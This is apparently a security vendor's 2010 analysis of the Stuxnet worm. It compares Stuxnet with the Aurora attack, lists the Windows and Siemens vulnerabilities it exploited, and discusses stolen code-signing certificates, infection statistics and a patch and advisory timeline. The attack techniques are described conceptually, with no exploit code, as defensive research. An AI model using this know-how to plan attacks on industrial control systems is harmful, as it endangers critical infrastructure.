Recently, there has been increased public awareness and information about targeted attacks as the number of such attacks has significantly increased, becoming a separate cybercriminal business sector in its own right.
Many companies are reluctant to disclose information about attempted or successful targeted attacks for fear of public relations issues affecting their profits, so the information made available to the public only represents a small part of what is actually happening.
1.1 Targeted Attacks All targeted attacks can be divided into two major classes: Targeting a specific company or organization - this type of attack is directed at a specific organization and the aim of an intruder is unauthorized access to confidential information such as commercial secrets (as with the Aurora attack).
Targeting specific software or IT infrastructure - this type of attack is not directed at a specific company and its target is the data associated with a certain kind of software, for example -banking client software or SCADA systems.
Such attacks have to be implemented in a more flexible manner.
This class of attacks can do much more damage to a great number of companies than the attacks of the first class.
As this class pre-supposes a long term attack, it is designed to circumvent protection systems (as with the Stuxnet attack).
The most common vector for the development of targeted external attacks is now considered to be the exploitation of vulnerabilities in popular client-side applications (browsers, plugins and so on).
Attackers typically use combinations of multiple steps, which allow them to take root on the client-side.
In most cases the first stage of the attack employs social engineering to allow an attacker to lure the victim to a favorable environment for the implementation of the next attack phase.
6 www.eset.com Figure 1.1  Typical Stages of Client-Side Attack Bypassing the security software installed in certain organizations is a crucial objective for most malware.
There is a separate cybercriminal business sector devoted to providing the means for malicious software to stay undetected by specific or widely spread antivirus products.
Figure 1.2  Custom Malware Protector This kind of service can extend the life of outdated malware, or extend the time new threats stay undetected.
However, the use of such technologies to resist detection by antivirus software can be used as a heuristic for the detection of previously unknown samples.
But the converse case also holds true: avoiding using any techniques aimed at bypassing antivirus software and making the program resemble legitimate software more closely can be a way of protecting malware.
This is the case with the attack mechanism used by the Stuxnet worm.
7 www.eset.com The Stuxnet attack constituted a serious threat to trust in software using legal digital signatures.
This creates a problem for white-listing, where security software is based on the a priori assumption that a trusted program meets certain conditions and is therefore indeed trustworthy.
And what if the program closely resembles legitimate software and even has digital certificates for installed modules published in the name of reputable companies?
All this suggests that targeted attacks could persist much longer over time than we previously imagined.
Stuxnet was able to stay undetected for a substantial period where no one saw anything suspicious.
The use of a self-launching, 0-day vulnerability in the attack allowed the rapid distribution of Stuxnet in the targeted region.
The choice of this kind of vulnerability is quite deliberate, because in the absence of information about its existence, use of the exploit will not be detected.
All these facts suggest a well-planned attack which remained unnoticed until long after it was launched.
But it is precisely the existence of such threats that inspires us to look at the new vector and the possibility of attacks that use it, in order to reduce the impact of future attacks.
1.2 Stuxnet versus Aurora In the past year, the public has become aware of two targeted attacks, codenamed Stuxnet and Aurora.
Both of these attacks have some common features that characterize recent trends in targeted attacks.
Nowadays, the most popular vector of penetration of the users machine is realized through popular client-side applications (browsers, plugins and other apps).
It is much easier to steal data by launching an indirect attack on people with access to important information via a malicious web site, than it is to attack the companys well-protected database server directly.
The use of client-side applications as a vector of attack is undoubtedly expected by cautious system users and administrators, but this attack methodology is less predictable and harder to protect against, since in everyday life we use many applications, each of them potentially an attack vector.
The Aurora and Stuxnet attacks used 0-day exploits to install malicious programs onto the system.
Table 1.2.1 presents data on the malicious programs and exploits used: Table 1.2.1  Malicious Software and Exploits Used to Perform Attacks Characteristics Aurora Stuxnet Exploitation vector MS10-002 (0-day) MS10-046 (0-day) MS10-061 (0-day) MS10-073 (0-day) MS10 -092 (0-day) CVE-2010-2772 (0-day) MS08-067 (patched) Targeted malicious program Win32/Vedrio Win32/Stuxnet Table 1.2.2 displays the characteristics of vulnerable platform and exploits, and indicates how seriously the intruders take their attacks.
8 www.eset.com Table 1.2.2  Platforms Vulnerable to 0-Day Attack Vector Characteristics MS10-002 MS10-046 MS10-061 MS10-073 MS10 -092 Vulnerable versions all versions of MS Internet Explorer (6, 7, 8) all versions of MS Windows (WinXP, Vista, 7, ) all versions of MS Windows (WinXP, Vista, 7, ) WinXP and Win2000 Vista and Win7 Layered shellcode yes no no yes no Remote attacks yes yes yes (only for WinXP) no no Other vectors no yes yes no no The exploit ESET detects as JS/Exploit.
CVE-2010-0249 (MS10-002) has a narrower range of possible vectors of distribution than LNK/Exploit.
CVE-2010-2568 (MS10-046).
The range of vulnerabilities used in the Stuxnet attack have other interesting features making use of such infection vectors as removable flash drives and other USB devices, and resources shared over the network.
The exploit LNK/Exploit.
CVE- 2010-2568 is by its nature so designed that detection of the exploits malicious activity is impossible, if you are not aware of its existence.
If we compare the features of these two exploits, it seems that JS/Exploit.
CVE-2010-0249 is designed for a surprise attack, while in the case of LNK/Exploit.
CVE-2010- 2568 a long-term, persistent attack was intended.
An additional propagation vector (MS10-061) can spread rapidly within the local network.
These observations confirm the data from Table 1.2.3, which compares the characteristics of the malicious programs used in these attacks.
9 www.eset.com Table 1.2.3  Comparison of attacks Characteristics Aurora Stuxnet Target Targeted group of specific companies Sites using SCADA systems but promiscuous dissemination Multiple distribution vectors no yes Payload download in process infecting all in one malware Code packing yes yes Code obfuscation yes yes Anti-AV functionality yes yes Masking under legal programs yes yes Architecture of malicious program modular modular Establishing a backdoor yes no Distributed CC yes no Communications protocol https http Custom encryption of communications protocol yes yes Modules with a legal digital signature no yes Update mechanism yes downloads and runs the downloaded module via WinAPI yes downloads updates via WinAPI functions and runs them in memory, without creating any files Uninstall mechanism no yes Infection counter no yes Availability of any modifications malicious program no yes These two attacks have shown us that no information system is absolutely secure and carefully planned targeted or even semi-targeted attacks put a serious weapon into the hands of bad guys.
In the case of Stuxnet there are still a lot of open questions, in our report we try to highlight the technical component of this semi-targeted attack.
Stuxnet showed us by example how much can be conceived and achieved using massive semi-targeted attacks.
10 www.eset.com Why semi-targeted?
While the payload is plainly focused on SCADA systems, the malwares propagation is promiscuous.
Criminal (and nation-state funded) malware developers have generally moved away from the use of self-replicating malware towards Trojans spread by other means (spammed URLs, PDFs and Microsoft Office documents compromised with 0-day exploits, and so on).
Once self-replicating code is released, its difficult to exercise complete control over where it goes, what it does, and how far it spreads (which is one of the reasons reputable researchers have always been opposed to the use of good viruses and worms: for the bad guys, it also has the disadvantage that as malware becomes more prevalent and therefore more visible, its usefulness in terms of payload delivery is depleted by public awareness and the wider availability of protection).
As we describe elsewhere in this document, there were probably a number of participants in the Stuxnet development project who may have very different backgrounds.
However, some of the code looks as if it originated with a regular software developer with extensive knowledge of SCADA systems and/or Siemens control systems, rather than with the criminal gangs responsible for most malcode, or even the freelance hacker groups, sometimes thought to be funded by governments and the military, (for example Wicked Rose) we often associate with targeted attacks.
However, its feasible that what were seeing here is the work of a more formally-constituted, multi-disciplinary tiger team.
Such officially but unpublicized collaborations, resembling the cooperative work with other agencies that anti-malware researchers sometimes engage in, might be more common than we are actually aware.
On the other hand, the nature of the .LNK vulnerability means that even though the mechanism is different to the Autorun mechanism exploited by so much malware in recent years, its use for delivery through USB devices, removable media, and network shares, has resulted in wide enough propagation to prevent the malware from remaining below the radar.
This may signify misjudgement on the part of a development team that nevertheless succeeded in putting together a sophisticated collaborative project, or a miscommunication at some point in the development process.
On the other hand, it may simply mean that the group was familiar enough with the modus operandi characteristic of SCADA sites to gamble on the likelihood that Stuxnet would hit enough poorly-defended, poorly-patched and poorly- regulated PLCs to gain them the information and control they wanted.
Since at the time of writing it has been reported by various sources that some 14 or 15 SCADA sites have been directly affected by the infection of PLCs (Programmable Logic Controllers), the latter proposition may have some validity.
While the use of these vectors has increased the visibility of the threat, its likely that it has also enabled access to sites where air-gapped generic defences were prioritized over automated technical defences like anti-virus, and less automated system updating and patching.
This is not a minor consideration, since the withdrawal of support from Windows versions earlier than Windows XP SP3.
At the same time, its clear that there are difficulties for some sites where protective measures may involve taking critical systems offline.
While there are obvious concerns here concerning SPoFs (single points of failure), the potential problems associated with fixing such issues retrospectively should not be underestimated.
11 www.eset.com 1.3 Stuxnet Revealed During our research, we have been constantly finding evidence confirming that the Stuxnet attack was carefully prepared.
Timestamp in the file wtr4141.tmp indicates that the date of compilation was 03/02/2010.
Figure 1.3  Header Information from wtr4141.tmp Version 9.0 of the linker indicated that attackers used MS Visual Studio 2008 for developing Stuxnets components.
File wtr4141.tmp is digitally signed, and the timestamp indicates that the signature on the date of signing coincides with the time of compilation.
Figure 1.4  Digital Signature Information from wtr4141.tmp Examination of the driver is even more interesting, since the timestamp of MRXCLS.sys indicates that it was compiled on 01/01/2009.
An 8.0 version of the linker used to build it suggests that MS Visual Studio 2005 was for development.
Using different versions of the linker may indicate as well that this project was developed by a group of people with a clear division of responsibilities.
12 www.eset.com Figure 1.5  Header information from MRXCLS.sys The digital signature shows a later date 25/01/2010, indicating that this module, was available very early on, or was borrowed from another project.
Figure 1.6  Digital Signature Information from MRXCLS.sys The second driver was built later and a timestamp of compilation shows 25/01/2010, coinciding with the date of signature of the driver MRXCLS.sys.
The same linker version was used and maybe these two drivers were created by one and the same person.
Figure 1.7  Header Information from MRXNET.sys The timestamp signature also coincides, and it all seems to point to the date of release for this component.
13 www.eset.com Figure 1.8  Digital Signature Information from MRXNET.sys On July 17th, ESET identified a new driver named jmidebs.sys, compiled on July 14th 2010, and signed with a certificate from a company called JMicron Technology Corp.
This is different from the previous drivers which were signed with the certificate from Realtek Semiconductor Corp.
It is interesting to note that both companies whose code signing certificates were used have offices in Hsinchu Science Park, Taiwan.
The physical proximity of the two companies may suggest physical theft, but its also been suggested that the certificates may have been bought from another source.
For instance, the Zeus botnet is known to steal certificates, though it probably focuses on banking certificates.
(
As Randy Abrams pointed out: http://blog.eset.com/2010/07/22/why-steal-digital-certificates) The file jmidebs.sys functions in much the same way as the earlier system drivers, injecting code into processes running on an infected machine.
As Pierre-Marc Bureau pointed out in a blog at the time, it wasnt clear whether the attackers changed their certificate because the first one was exposed, or were simply using different certificates for different attacks.
Either way, they obviously have significant resources to draw on.
The well-planned modular architecture that characterizes the Stuxnet malware, and the large number of modules used, suggests the involvement of a fairly large and well-organized group.
(
See: http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries).
Figure 1.9  Certificate Issued to JMicron Technology Corporation Another interesting finding was the string b:\myrtus\src\objfre_w2k_x86\i386\guava.pdb found in the resource section.
http://blog.eset.com/2010/07/22/why-steal-digital-certificates http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries 14 www.eset.com Figure 1.10  Interesting String in MRXNET.sys The number of modules included in Stuxnet and the bulkiness of the developed code indicate that this malicious program was developed by a large group of people.
Stuxnet is a more mature and technologically advanced (semi-)targeted attack than Aurora.
15 www.eset.com 1.4 Statistics on the Spread of the Stuxnet Worm The statistical distribution of infected machines Win32/Stuxnet globally, from the beginning of the detection to the end of September, is presented in the figure below: Figure 1.11  Global infection by Win32/Stuxnet (Top 14 Countries) Asian countries are the leaders with the largest number of Stuxnet-infected machines by.
Iran is the region where the widest spread Stuxnet has been seen.
If we look at the percentage distribution of the number of infections by region, we can generate the following table: Table 1.4.1  The Percentage Distribution of Infections by Region Iran Indonesia India Pakistan Uzbekistan Russia Kazakhstan Belarus 52,2 17,4 11,3 3,6 2,6 2,1 1,3 1,1 Kyrgyzstan Azerbaijan United States Cuba Tajikistan Afghanistan Rest of the world 1,0 0,7 0,6 0,6 0,5 0,3 4,6 A high volume of detections in a single region may mean that it is the major target of attackers.
However, multiple targets may exist, and the promiscuous nature of the infective mechanism is likely to targeting detail.
In fact, even known infection of a SCADA site isnt incontrovertible evidence that the site was specifically targeted.
It has been suggested that malware could have been spread via flash drives distributed at a SCADA conference or event (as Randy Abrams pointed out in a blog at 16 www.eset.com http://blog.eset.com/2010/07/19/which-army-attacked-the-power-grids.
Even that would argue targeting of the sector rather than individual sites, and that targeting is obvious from the payload.
Distribution, however, is influenced by a number of factors apart from targeting, such as local availability of security software and adherence to good update/patching practice.
Furthermore, our statistics show that the distribution of infections from the earliest days of detection shows a steep decline even in heavily-affected Iran in the days following the initial discovery of the attack, followed by a more gradual decline over subsequent months.
However, the sparse information we have about actual infection of SCADA sites using (and affecting) Siemens software suggests that about a third of the sites affected are in the German process industry sector.
Siemens have not reported finding any active instances of the worm: in other words, it has checked out PLCs at these sites, but it hasnt attempted to manipulate them.
Heise observes that: The worm seems to look for specific types of systems to manipulate.
Siemens couldnt provide any details about which systems precisely are or could be affected.
(
http://www.h-online.com/security/news/item/Stuxnet-also-found-at-industrial-plants-in-Germany- 1081469.html) Comprehensive analysis of how Stuxnet behaves when it hits a vulnerable installation was published by Ralph Langner, ahead of the ACS conference in Rockville in September 2010.
However, the Langner analysis is contradicted in some crucial respects by analysis from other sources (http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process).
There was also some fascinating conjecture on display in an interview with Joe Weiss.
(
http://www.pbs.org/wgbh/pages/frontline/shows/cyberwar/interviews/weiss.html) Joe (Joseph) Weiss is, incidentally, the author of Protecting Industrial Control Systems from Electronic Threats, ISBN: 978-1-60650-197-9, which sounds well worth investigating for a closer look at industrial control systems (ICS) and security.
The Amazon page http://www.amazon.com/Protecting-Industrial- Control-Systems-Electronic/dp/1606501976 includes pointers to some other books on related topics as well as some very positive commentary on Joes book.
http://blog.eset.com/2010/07/19/which-army-attacked-the-power-grids http://www.h-online.com/security/news/item/Stuxnet-also-found-at-industrial-plants-in-Germany-1081469.html http://www.h-online.com/security/news/item/Stuxnet-also-found-at-industrial-plants-in-Germany-1081469.html http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process http://www.pbs.org/wgbh/pages/frontline/shows/cyberwar/interviews/weiss.html http://www.momentumpress.net/books/protecting-industrial-control-systems-electronic-threats http://www.momentumpress.net/books/protecting-industrial-control-systems-electronic-threats http://www.amazon.com/Protecting-Industrial-Control-Systems-Electronic/dp/1606501976 http://www.amazon.com/Protecting-Industrial-Control-Systems-Electronic/dp/1606501976 17 www.eset.com 2 Microsoft, Malware and the Media This section contains information on events that have taken place since the original outbreak of the Stuxnet malware.
While a full-scale account of the media coverage around these events would be a long document in its own right, we present here a partial timeline which puts some of the most significant events in chronological order, ranging from initial detection on 17th of June until the date of release of this Revision.
This section also contains a table (Table 2.2.1) that details posts on Stuxnet in ESETs blog.
A number of other links are also given non-chronologically so that the reader can track other resources covering various topics related to Stuxnet.
While Stuxnet exploits several Windows vulnerabilities, at least four of them described as 0-day: MS08-067 RPC Exploit (http://www.microsoft.com/technet/security/bulletin/ms10- 067.mspx) MS10-046 LNK Exploit (http://www.microsoft.com/technet/security/bulletin/ms10- 046.mspx) MS10-061 Spool Server Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx) Two privilege escalation (or Elevation of Privilege) vulnerabilities: o MS10-073 Win32k.sys Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx) o MS10-092  Task Scheduler Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-092.mspx) However, it also targets PLCs (Programming Logic Controllers) on sites using Siemens SIMATIC WinCC or STEP 7 SCADA (Supervisory Control And Data Acquisition) systems.
2.1 SCADA, Siemens and Stuxnet This attack makes additional use of a further vulnerability categorized as CVE-2010-2772, relating to the use of a hard-coded password in those systems allowing a local user to access a back-end database and gain privileged access to the system.
This meant not only that the password was exposed to an attacker through reverse engineering, but, in this case, that the system would not continue to work if the password was changed, though that issue was not mentioned in Siemens advice to its customers at http://support.automation.siemens.com/WW/view/en/43876783.
Industrial Controls Engineer Jake Brodsky made some very pertinent comments in response to David Harleys blog at http://blog.eset.com/2010/07/20/theres-passwording-and-theres-security.
While agreeing that strategically, Siemens were misguided to keep hardcoding the same access account and password into the products in question, and naive in expecting those details to stay secret, Jake pointed out, perfectly reasonably, that tactically, it would be impractical for many sites to take appropriate remedial measures without a great deal of preparation, recognizing that a critical system cant be taken down without implementing interim maintenance measures.
He suggested, therefore, http://www.microsoft.com/technet/security/bulletin/ms10-067.mspx http://www.microsoft.com/technet/security/bulletin/ms10-067.mspx http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx http://www.microsoft.com/technet/security/bulletin/ms10-092.mspx http://support.automation.siemens.com/WW/view/en/43876783 http://blog.eset.com/2010/07/20/theres-passwording-and-theres-security 18 www.eset.com that isolation of affected systems from the network was likely to be a better short-term measure, combined with the interim measures suggested by Microsoft for working around the .LNK and .PIF issues that were causing concern at the time (http://support.microsoft.com/kb/2286198).
http://support.microsoft.com/kb/2286198 19 www.eset.com 2.2 Stuxnet Timeline VirusBlokAda reportedly detected Stuxnet components as Trojan-Spy.0485 and Malware- Cryptor.
Win32.Inject.gen on 17th June 2010 (http://www.anti-virus.by/en/tempo.shtml), and also described the .LNK vulnerability on which most of the subsequent attention was focused.
However, it seems that Microsoft, like most of the security industry, only became aware (or publicly acknowledged) the problem in July.
(
See: http://blogs.technet.com/b/msrc/archive/2010/09/13/september-2010- security-bulletin-release.aspx) Realtek Semiconductor were notified of the theft of their digital signature keys on 24th June 2010.
(
http://www.f-secure.com/weblog/archives/new_rootkit_en.pdf).
ESET was already detecting some components of the attack generically early in July 2010, but the magnitude of the problem only started to become obvious later that month.
Siemens dont seem to have been notified (or at any rate acknowledged receipt of notification) until 14th July 2010.
http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx.sea.siemens.com/us/New s/Industrial/Pages/WinCC_Update.aspx.
On the same day, another driver was compiled as subsequently revealed by ESET analysis and reported on 19th July: http://blog.eset.com/2010/07/19/win32stuxnet- signed-binaries On the 15th July, Brian Krebs was, as usual, ahead of the pack at http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ in pointing out that there was a control systems issue.
Advisories were posted by US-CERT and ICS-CERT (http://www.kb.cert.org/vuls/id/940193 http://www.us-cert.gov/control_systems/pdf/ICSA-10-201- 0120-20USB20Malware20Targeting20Siemens20Control20Software.pdf.)
A Microsoft advisory was posted on 16th July (http://www.microsoft.com/technet/security/advisory/2286198.mspx), supplemented by a Technet blog (http://blogs.technet.com/b/mmpc/archive/2010/07/16/the-stuxnet-sting.aspx).
The Internet Storm Center also commented: http://isc.sans.edu/diary.html?storyid9181.
See also MITRE Common Vulnerabilities and Exposures (CVE) CVE-2010-2568 http://www.cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2010-2568 Microsoft Security Advisory 2286198 Workaround: http://support.microsoft.com/kb/2286198 http://go.microsoft.com/?linkid9738980 http://go.microsoft.com/?linkid9738981 http://www.microsoft.com/technet/security/advisory/2286198.mspx On the 17th July, the Verisign certificate assigned to Realtek Semiconductor was revoked (http://threatpost.com/en_us/blogs/verisign-revokes-certificate-used-sign-stuxnet-malware-071710).
However, the second driver, now using a JMicron certificate was identified: http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries.
The first of a comprehensive series of ESET blogs was posted.
http://www.anti-virus.by/en/tempo.shtml http://blogs.technet.com/b/msrc/archive/2010/09/13/september-2010-security-bulletin-release.aspx http://blogs.technet.com/b/msrc/archive/2010/09/13/september-2010-security-bulletin-release.aspx http://www.f-secure.com/weblog/archives/new_rootkit_en.pdf http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ http://www.kb.cert.org/vuls/id/940193 http://www.us-cert.gov/control_systems/pdf/ICSA-10-201-0120-20USB20Malware20Targeting20Siemens20Control20Software.pdf http://www.us-cert.gov/control_systems/pdf/ICSA-10-201-0120-20USB20Malware20Targeting20Siemens20Control20Software.pdf http://www.microsoft.com/technet/security/advisory/2286198.mspx http://blogs.technet.com/b/mmpc/archive/2010/07/16/the-stuxnet-sting.aspx http://isc.sans.edu/diary.html?storyid9181 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2568 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2568 http://support.microsoft.com/kb/2286198 http://go.microsoft.com/?linkid9738980 http://go.microsoft.com/?linkid9738981 http://www.microsoft.com/technet/security/advisory/2286198.mspx http://threatpost.com/en_us/blogs/verisign-revokes-certificate-used-sign-stuxnet-malware-071710 http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries 20 www.eset.com Table 2.2.1  Stuxnet-Related Blogs by ESET Date Article July 17  (Windows) Shellshocked, Or Why Win32/Stuxnet Sux July 19  Win32/Stuxnet Signed Binaries July 19  Yet more on Win32/Stuxnet July 19  It Wasnt an Army July 20  Theres Passwording and theres Security July 22  A few facts about Win32/Stuxnet  CVE-2010-2568 July 22 Why Steal Digital Certificates?
July 22  New malicious LNKs: here we go July 22  Win32/Stuxnet: more news and resources July 23  Link Exploits and the Search for a Better Explorer July 27  More LNK exploiting malware, by Jove August 2  Save Your Work Microsoft Releases Critical Security Patch August 4 Assessing Intent August 25 21st Century Hunter-Killer UAV Enters Restricted DC Airspace  Skynet Alive?
September 10  New Papers and Articles September 27 Iran Admits Stuxnet Infected Its Nuclear Power Plant September 28th Yet more Stuxnet September 30th From sci-fi to Stuxnet: exploding gas pipelines and the Farewell Dossier September 30th Who Wants a Cyberwar?
October 13th Stuxnet the Inscrutable October 13th A Little Light Reading October 14th Stuxnet: Cyberwarfares Universal Adaptor?
October 15th Stuxnet Paper Revision October 15th Stuxnet Vulnerabilities for the Non-Geek October 15th Win32k.sys: A Patched Stuxnet Exploit October 20th Stuxnet Under the Microscope: Revision 1.11 November 2nd Stuxnet Paper Updated November 12th October ThreatSense Report November 13th Stuxnet Unravelled November 19th Stuxnet Splits the Atom http://blog.eset.com/2010/07/17/windows-shellshocked-or-why-win32stuxnet-sux http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries http://blog.eset.com/2010/07/19/yet-more-on-win32stuxnet http://blog.eset.com/2010/07/19/it-wasne28099t-an-army http://blog.eset.com/2010/07/20/theres-passwording-and-theres-security http://blog.eset.com/2010/07/22/a-few-facts-about-win32stuxnet-cve-2010-2568 http://blog.eset.com/2010/07/22/why-steal-digital-certificates http://blog.eset.com/2010/07/22/new-malicious-lnks-here-we-go http://blog.eset.com/2010/07/21/win32stuxnet-more-news-and-resources http://blog.eset.com/2010/07/23/link-exploits-and-the-search-for-a-better-explorer http://blog.eset.com/2010/07/27/more-lnk-exploits-by-jove http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-critical-security-patch http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-critical-security-patch http://blog.eset.com/2010/08/04/assessing-intent http://blog.eset.com/2010/08/25/rise-of-the-machines-navy-uav-goes-awol-malware-or-skynet http://blog.eset.com/2010/08/25/rise-of-the-machines-navy-uav-goes-awol-malware-or-skynet http://blog.eset.com/2010/09/09/new-papers-and-articles http://blog.eset.com/2010/09/27/iran-admits-stuxnet-infected-its-nuclear-power-plant http://blog.eset.com/2010/09/28/yet-more-stuxnet http://blog.eset.com/2010/09/30/from-sci-fi-to-stuxnet-exploding-gas-pipelines-and-the-farewell-dossier http://blog.eset.com/2010/09/30/from-sci-fi-to-stuxnet-exploding-gas-pipelines-and-the-farewell-dossier http://blog.eset.com/2010/09/30/who-wants-a-cyberwar http://blog.eset.com/2010/10/13/stuxnet-the-inscrutable http://blog.eset.com/2010/10/13/a-little-light-reading-2 http://blog.eset.com/2010/10/14/stuxnet-cyberwarfares-universal-adaptor http://blog.eset.com/2010/10/15/stuxnet-paper-revision http://blog.eset.com/2010/10/15/stuxnet-vulnerabilities-for-the-non-geek http://blog.eset.com/2010/10/15/win32k-sys-about-the-patched-stuxnet-exploit http://blog.eset.com/2010/10/20/stuxnet-under-the-microscope-revision-1-11 http://blog.eset.com/2010/11/02/stuxnet-paper-updated http://blog.eset.com/2010/11/12/october-threatsense-report http://blog.eset.com/2010/11/13/stuxnet-unravelled http://blog.eset.com/2010/11/19/stuxnet-splits-the-atom 21 www.eset.com November 25th Stuxnet Code: Chicken Licken or Chicken Run?
December 15th MS10-092 and Stuxnet On the 19th SANS posted an advisory regarding the .LNK vulnerability (http://isc.sans.edu/diary.html?storyid9190), and on the 19th and 20th July Siemens updated its posts: http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx ESET labs were now seeing low-grade Autorun worms, written in Visual Basic, experimenting with the .LNK vulnerability, and had added generic detection of the exploit (LNK/Exploit.
CVE-2010-2568).
Most AV companies had Stuxnet-specific detection by now, of course.
Some of the malware using the same vulnerability that appeared around that time was described by David Harley in a Virus Bulletin article, Chim Chymine: a Lucky Sweep?
published in September 2010.
The Internet Storm Center raised its Infocon level to yellow in order to raise awareness of the issue (http://isc.sans.edu/diary.html?storyid9190).
Softpedia and Computerworld, among others, noted the publication of exploit code using the .LNK vulnerability.
Wired magazine reported that it was well-known that some Siemens products made use of hard-coded passwords, as described above: http://www.wired.com/threatlevel/tag/siemens/ Siemens has made quite a few advisories available, but has not really addressed the hard-coded password issue directly, and some pages appear to have been withdrawn at the time of writing.
The following pages were still available: http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfolangenobji d43876783callerview http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfoobjId43876 783objActioncsOpennodeid010805449langensiteidcseusaktprim0extranetstan dardviewregWW A number of new malware families were identified using same vulnerability in late July, and a number of other families such as Win32/Sality generated new variants that also used it.
Win32/TrojanDownloader.
Chymine.
A downloads Win32/Spy.
Agent.
NSO keylogger Win32/Autorun.
VB.RP, and is similar to malware described by ISC on 21st July (http://isc.sans.edu/diary.html?storyid9229 ), but updated to include the CVE-2010-2568 exploit for propagation.
Pierre-Marc Bureau and David Harley blogged on the subject at http://blog.eset.com/2010/07/22/new- malicious-lnks-here-we-go, and Harley explored the issues further in Shortcuts to Insecurity: .LNK Exploits at http://securityweek.com/shortcuts-insecurity-lnk-exploits, and Chim Chymine: a lucky sweep?
in the September issue of Virus Bulletin.
Aryeh Goretskys blog at http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-critical- security-patch comments on the Microsoft patch which finally appeared at the beginning of August: see http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx.
http://blog.eset.com/2010/11/26/stuxnet-code-chicken-licken-or-chicken-run http://blog.eset.com/2010/12/15/ms10-092-and-stuxnet http://isc.sans.edu/diary.html?storyid9190 http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx http://isc.sans.edu/diary.html?storyid9190 http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability-148140.shtml http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_public?taxonomyId17pageNumber1 http://www.wired.com/threatlevel/tag/siemens/ http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfolangenobjid43876783callerview http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfolangenobjid43876783callerview http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfoobjId43876783objActioncsOpennodeid010805449langensiteidcseusaktprim0extranetstandardviewregWW http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfoobjId43876783objActioncsOpennodeid010805449langensiteidcseusaktprim0extranetstandardviewregWW http://support.automation.siemens.com/WW/llisapi.dll?funccslib.csinfoobjId43876783objActioncsOpennodeid010805449langensiteidcseusaktprim0extranetstandardviewregWW http://isc.sans.edu/diary.html?storyid922920 http://blog.eset.com/2010/07/22/new-malicious-lnks-here-we-go http://blog.eset.com/2010/07/22/new-malicious-lnks-here-we-go http://securityweek.com/shortcuts-insecurity-lnk-exploits http://securityweek.com/shortcuts-insecurity-lnk-exploits http://securityweek.com/shortcuts-insecurity-lnk-exploits http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-critical-security-patch http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-critical-security-patch http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx 22 www.eset.com Further Microsoft issues were addressed in September, as described in this document.
See also http://www.scmagazineuk.com/microsoft-plugs-stuxnet-problems-as-nine-bulletins-are-released-on- patch-tuesday/article/178911/?DCMPEMC-SCUK_Newswire.
Microsoft released a security update to address the Print Spooler Service vulnerability used by Stuxnet.
The vulnerability only exists where a printer is shared, which is not a default.
http://blogs.technet.com/b/msrc/ http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler- vulnerability.aspx.
Further fixes promised for two Elevation of Privilege vulnerabilities.
Ralph Langners analysis  of how Stuxnet affects a vulnerable installation was further discussed at the ACS conference in September 2010, but AV industry analysis did not fully concur.
http://www.langner.com/en/index.htm http://realtimeacs.com/?page_id65 http://realtimeacs.com/?page_id66 http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process.
Related last-minute presentations at Virus Bulletin 2010: http://www.virusbtn.com/conference/vb2010/programme/index http://www.symantec.com/connect/blogs/w32stuxnet-dossier, http://www.symantec.com/content/en/us/enterprise/media/security_response/whitep apers/w32_stuxnet_dossier.pdf, http://www.virusbtn.com/pdf/conference_slides/2010/Raiu-VB2010.pdf http://www.virusbtn.com/pdf/conference_slides/2010/OMurchu-VB2010.pdf.
Much of the earlier controversy about the origin and targeting of Stuxnet derived from uncertainty about exactly what its code was meant to do.
Even after it was established that it was intended to modify PLC (Programmable Logic Controller) code, details of the kind of installation targeted remained unclear.
However, research into this aspect of the Stuxnet code by Symantec et al, blogged by Eric Chien at http://www.symantec.com/connect/blogs/stuxnet-breakthrough, told us that Stuxnet requires the industrial control system to have frequency converter drives from at least one of two specific vendors, one headquartered in Finland and the other in Tehran, Iran.
This is in addition to the previous requirements we discussed of a S7-300 CPU and a CP-342-5 Profibus communications module.
He goes on to describe in some detail the workings of the relevant Stuxnet code.
Symantecs hefty Stuxnet dossier was updated accordingly.
